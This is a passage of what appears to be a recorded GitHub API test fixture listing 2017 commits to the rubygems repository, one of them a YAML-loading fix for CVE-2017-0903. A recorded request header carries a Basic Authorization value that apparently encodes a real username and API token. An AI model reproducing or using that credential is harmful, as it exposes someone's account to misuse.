github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"510b1638ac9bba3ceb7a5d73135dafff9e5bab49","url":"https://api.github.com/repos/rubygems/rubygems/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49","html_url":"https://github.com/rubygems/rubygems/commit/510b1638ac9bba3ceb7a5d73135dafff9e5bab49"}]},{"sha":"510b1638ac9bba3ceb7a5d73135dafff9e5bab49","commit":{"author":{"name":"Aaron Patterson","email":"aaron.patterson@gmail.com","date":"2017-10-06T18:11:40Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T03:01:08Z"},"message":"Whitelist classes and symbols that are in Gem spec YAML\n\nThis patch adds a method for loading YAML specs from a gem and\nwhitelists classes and symbols that are allowed in the spec. Then it\nchanges calls to YAML.load to call the whitelisted \"safe\" loader\ninstead.\n\n[CVE-2017-0903]","tree":{"sha":"b417660e6990e0a64ce3836bd3b11cdedc6565b5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b417660e6990e0a64ce3836bd3b11cdedc6565b5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ3Df0AAoJEAEZW7MV3ahWqtQP/1D/6DukwurIT0c5kgsNErkH\n1C5QTB9l29KDXB6S3A7QHLjv57u8fbgKmmPe3/jPVOrSPpKid7bRMAmHK1cpN2ve\nDxjmtUaGFk73ounMYTUlyje0wQZdRjKeVKfUSdGx0AovxNqToL0OiVkQg2HUl8ah\nuauF4iVUhnd3r2Ty+pDlaHj6nonR3N6Vy2YS8wLgwVTaD6/2jy30Ti8WX6S23jd8\nTCCq5txOnAreEOoN5GRIVfNsY2BDwpeHz2OeaFvwctsjiBv5RMAcoYNtc9scpSZ+\nlgMlInvik4rNR56ebFZK2b5wYYqqF0FiiUDP7neW1c+XpkAqt06i2NeaC/5ltayv\nc7uHdqv2R4qKVLYS6Twz2ikru6vSYkHDKEGFAR6jMXI/WQAD4dXArJtE1+9fhKIo\nujYbnGOr0aTDOpg3aM3rOhpJ46SooarqrmmluY/bBES7+IGmJmJIx7V2GsKyEiVu\n7j88A+VBQgBKghUGUE8MNmcHH80m+w34U8v+7L+BxLY/xNQZe4xI3NvEPOqeNosa\nU+Xi3iXZYAV5PieSzn6SwPwikbaM5QJjTd7h8TsHVSBE827cVsg6I1lTrl7pmtH0\ntA2LYN/aC0Xp4kfyv6/I9zf4RlJif2PEn57Jb2I3GnkjwD5EntI3pTM+zKlSejgx\nLT3kqtt0Ys6gKdNr/xYT\n=EXNx\n-----END PGP SIGNATURE-----","payload":"tree b417660e6990e0a64ce3836bd3b11cdedc6565b5\nparent 6e77ace5dad07d86a38ac271e6a62658ca751105\nauthor Aaron Patterson 1507313500 -0700\ncommitter Samuel Giddins 1507604468 -0500\n\nWhitelist classes and symbols that are in Gem spec YAML\n\nThis patch adds a method for loading YAML specs from a gem and\nwhitelists classes and symbols that are allowed in the spec. Then it\nchanges calls to YAML.load to call the whitelisted \"safe\" loader\ninstead.\n\n[CVE-2017-0903]\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49","html_url":"https://github.com/rubygems/rubygems/commit/510b1638ac9bba3ceb7a5d73135dafff9e5bab49","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/comments","author":{"login":"tenderlove","id":3124,"avatar_url":"https://avatars1.githubusercontent.com/u/3124?v=4","gravatar_id":"","url":"https://api.github.com/users/tenderlove","html_url":"https://github.com/tenderlove","followers_url":"https://api.github.com/users/tenderlove/followers","following_url":"https://api.github.com/users/tenderlove/following{/other_user}","gists_url":"https://api.github.com/users/tenderlove/gists{/gist_id}","starred_url":"https://api.github.com/users/tenderlove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tenderlove/subscriptions","organizations_url":"https://api.github.com/users/tenderlove/orgs","repos_url":"https://api.github.com/users/tenderlove/repos","events_url":"https://api.github.com/users/tenderlove/events{/privacy}","received_events_url":"https://api.github.com/users/tenderlove/received_events","type":"User","site_admin":true},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e77ace5dad07d86a38ac271e6a62658ca751105","url":"https://api.github.com/repos/rubygems/rubygems/commits/6e77ace5dad07d86a38ac271e6a62658ca751105","html_url":"https://github.com/rubygems/rubygems/commit/6e77ace5dad07d86a38ac271e6a62658ca751105"}]},{"sha":"be899d52b86f677fccd88bac4a45ef5afaf9f00e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-10T01:14:43Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-10T01:14:43Z"},"message":"Auto merge of #2033 - hsbt:remove-trailing-whitespace, r=hsbt\n\nRemove trailing-whitespaces and append newline at EOF.","tree":{"sha":"19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e","html_url":"https://github.com/rubygems/rubygems/commit/be899d52b86f677fccd88bac4a45ef5afaf9f00e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"bdadcaf3f638bbe0959a05bb9b047354243e13f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6","html_url":"https://github.com/rubygems/rubygems/commit/bdadcaf3f638bbe0959a05bb9b047354243e13f6"},{"sha":"42b586286e604cec54e65d2661c898275eb96d74","url":"https://api.github.com/repos/rubygems/rubygems/commits/42b586286e604cec54e65d2661c898275eb96d74","html_url":"https://github.com/rubygems/rubygems/commit/42b586286e604cec54e65d2661c898275eb96d74"}]}]' http_version: recorded_at: Sat, 06 Jan 2018 14:59:33 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=7&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:33 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4625' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e5bbc4b7620423cc16b95cb6644f45f9" Last-Modified: - Tue, 10 Oct 2017 00:41:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.101192' X-Github-Request-Id: - A148:4D95:F47829:1C82BBB:5A50E455 body: encoding: ASCII-8BIT string: '[{"sha":"42b586286e604cec54e65d2661c898275eb96d74","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-10T00:41:21Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-10T00:41:21Z"},"message":"Remove trailing-whitespaces and append newline at EOF.","tree":{"sha":"19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/42b586286e604cec54e65d2661c898275eb96d74","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlncF0sACgkQ+c8TQXJk\n+sJxnQgAnzUjefIQ1P+mdpL6meF1+BgXBehA9u7I/DAsYQS46tH9eG8cqIE0z9SR\nwwfjeJMAoeMix5a+ez1HvRahukkfOZw8mU8TqFpI4hVHSFaQw4UMv8gh0YbISl6i\n98ymnzhpkdgb36LzmaID9MTpuwu55pxiXMxg/Wmcs9Vp0MBOmBDat2FDf3/lAsk4\ndAA6+RrBmdZIVKQAHgRiTLbqRwJpqYBJlo4qGRpjE7qqwSEqoJJ6dLlGFW9ELx1D\nEDfPC4Tz2IyicceRIyg/sYRXoydEtGGJkLCW7hVZqIKElaTMUOlnglb5YXpDm38C\naP9sPH2Gr7TCp9O37N3AWU4kNNhXpA==\n=W3KM\n-----END PGP SIGNATURE-----","payload":"tree 19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3\nparent bdadcaf3f638bbe0959a05bb9b047354243e13f6\nauthor SHIBATA Hiroshi 1507596081 +0900\ncommitter SHIBATA Hiroshi 1507596081 +0900\n\nRemove trailing-whitespaces and append newline at EOF.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/42b586286e604cec54e65d2661c898275eb96d74","html_url":"https://github.com/rubygems/rubygems/commit/42b586286e604cec54e65d2661c898275eb96d74","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/42b586286e604cec54e65d2661c898275eb96d74/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"bdadcaf3f638bbe0959a05bb9b047354243e13f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6","html_url":"https://github.com/rubygems/rubygems/commit/bdadcaf3f638bbe0959a05bb9b047354243e13f6"}]},{"sha":"bdadcaf3f638bbe0959a05bb9b047354243e13f6","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-09T00:40:56Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-09T00:40:56Z"},"message":"Auto merge of #2031 - colby-swandale:manifest-ignore-docs, r=hsbt\n\nDo not index the doc folder in the `update_manifest` task.\n\n# Description:\n\nA small problem I have come across while doing work on RubyGems is when I need to update the Manifest.\n\nWhen running the `rake newb` - the task generates the RubyGems docs which is an entry in `.gitignore` but is not ignored in the `rake update_manifest` task. This means that everyone has to remember to either remove the `doc` folder beforehand or remove the entries in `Manifest.txt`. We should just be ignoring the `doc` folder entirely.\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"f27ed41722b65fb8e448e7a68aa33e3cf622dce2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f27ed41722b65fb8e448e7a68aa33e3cf622dce2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6","html_url":"https://github.com/rubygems/rubygems/commit/bdadcaf3f638bbe0959a05bb9b047354243e13f6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","url":"https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","html_url":"https://github.com/rubygems/rubygems/commit/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee"},{"sha":"1bfc87ab3dda36665680f32baa98c39058c57707","url":"https://api.github.com/repos/rubygems/rubygems/commits/1bfc87ab3dda36665680f32baa98c39058c57707","html_url":"https://github.com/rubygems/rubygems/commit/1bfc87ab3dda36665680f32baa98c39058c57707"}]},{"sha":"1bfc87ab3dda36665680f32baa98c39058c57707","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-10-08T22:46:24Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-10-08T22:46:24Z"},"message":"do not include the doc folder in the `update_manifest` task.","tree":{"sha":"f27ed41722b65fb8e448e7a68aa33e3cf622dce2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f27ed41722b65fb8e448e7a68aa33e3cf622dce2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1bfc87ab3dda36665680f32baa98c39058c57707","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1bfc87ab3dda36665680f32baa98c39058c57707","html_url":"https://github.com/rubygems/rubygems/commit/1bfc87ab3dda36665680f32baa98c39058c57707","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1bfc87ab3dda36665680f32baa98c39058c57707/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","url":"https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","html_url":"https://github.com/rubygems/rubygems/commit/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee"}]},{"sha":"688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-07T10:31:59Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-07T10:31:59Z"},"message":"Auto merge of #2029 - hsbt:no-more-ubygems-2, r=hsbt\n\nMore rename ubygems.rb.\n\nFollow up 4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","tree":{"sha":"4fff366cf1e6810ee6111b4e77e42aee78768730","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4fff366cf1e6810ee6111b4e77e42aee78768730"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","html_url":"https://github.com/rubygems/rubygems/commit/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","url":"https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","html_url":"https://github.com/rubygems/rubygems/commit/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5"},{"sha":"267de727182339654d5233955f46d7f8aaeddebf","url":"https://api.github.com/repos/rubygems/rubygems/commits/267de727182339654d5233955f46d7f8aaeddebf","html_url":"https://github.com/rubygems/rubygems/commit/267de727182339654d5233955f46d7f8aaeddebf"}]},{"sha":"267de727182339654d5233955f46d7f8aaeddebf","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-07T09:50:22Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-07T09:50:22Z"},"message":"More rename ubygems.rb.\n\n Follow up 4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","tree":{"sha":"4fff366cf1e6810ee6111b4e77e42aee78768730","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4fff366cf1e6810ee6111b4e77e42aee78768730"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/267de727182339654d5233955f46d7f8aaeddebf","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnYo3QACgkQ+c8TQXJk\n+sLO4Qf/U031d9c1r26Z2HIrYGD/PZ+28UiLZy68Ws0gMrZocXanLkr/y8Fz/+/Y\nL5BA4eX7cTJzj/D1BYojHjJj4GF+dWuTNWaYehRXg0nlYGJ0z07HTw0Hl5T03BmV\nIEbAcqHmefvcyusJMJvBROkq5cAGBo7ahp1lDisUDGCVBDhRWM8lRjNylpeWY0KA\npMSvOr5JHVkkeGneLv1DmDkN5P7pshQXABEFD0QLgwHwELkJkNAVN+JSH3+ddBjj\noe1M7NStsirtMaKlmEfxexEkFQzwpKu/ALiynK2q+M7kSvqZPOgBXgCFb+WSwe6f\ndwS5MYhqZK6OhNQO2NzqWRou6RkqKg==\n=KmhR\n-----END PGP SIGNATURE-----","payload":"tree 4fff366cf1e6810ee6111b4e77e42aee78768730\nparent 4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5\nauthor SHIBATA Hiroshi 1507369822 +0900\ncommitter SHIBATA Hiroshi 1507369822 +0900\n\nMore rename ubygems.rb.\n\n Follow up 4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/267de727182339654d5233955f46d7f8aaeddebf","html_url":"https://github.com/rubygems/rubygems/commit/267de727182339654d5233955f46d7f8aaeddebf","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/267de727182339654d5233955f46d7f8aaeddebf/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","url":"https://api.github.com/repos/rubygems/rubygems/commits/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","html_url":"https://github.com/rubygems/rubygems/commit/4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5"}]},{"sha":"4cb0e5b2d1b972a0b7ff1fb4e1329059d39f70d5","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-07T05:56:44Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-07T05:56:44Z"},"message":"Auto merge of #2028 - hsbt:no-more-ubygems, r=hsbt\n\nubygems.rb is unavailable on Ruby 2.5\n\nFollow up with 